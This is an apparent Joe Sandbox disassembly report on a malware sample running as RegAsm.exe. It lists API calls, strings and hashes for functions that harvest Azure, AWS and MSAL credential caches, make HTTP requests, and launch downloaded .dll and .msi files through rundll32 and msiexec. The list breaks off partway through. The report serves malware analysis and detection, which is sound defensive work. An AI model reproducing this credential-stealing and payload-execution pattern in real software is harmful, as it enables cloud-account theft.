API String ID: 1406981993-2501203334
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00C4AC08,00C4ABF8), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00C4AC18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00C50CB8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00C51D10,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00C4AC18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00C52820), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

\.azure\, xrefs: 004148A1
\.aws\, xrefs: 0041492D
Azure\.azure, xrefs: 004148B3
Azure\.IdentityService, xrefs: 004149CB
*.*, xrefs: 004148B8
Azure\.aws, xrefs: 0041493F
*.*, xrefs: 00414944
msal.cache, xrefs: 004149D0
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.IdentityService\, xrefs: 004149B9

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,00C52860), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,00C527B0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,00C52870,?,00C521F8,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404CB9
------, xrefs: 00404B78
", xrefs: 00404D83
", xrefs: 00404C42
------, xrefs: 00404A0D

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,00C52860), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,00C521F8,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406457
ERROR, xrefs: 00406519
GET, xrefs: 004063CC

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00C4AC18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT(00000000,?), ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415173
ERROR, xrefs: 00415412
ERROR, xrefs: 004154DE
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415329
ERROR, xrefs: 00415116

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

"" , xrefs: 00412BAA
.dll, xrefs: 00412CF5
<, xrefs: 00412FA0
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
/i ", xrefs: 00412EF4
/passive, xrefs: 00412F6B
.msi, xrefs: 00412EA8
C:\Windows\system32\rundll32.exe, xrefs: 00412E42

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,00C464D8,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

?, xrefs: 00417E1A
- , xrefs: 00418043
%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
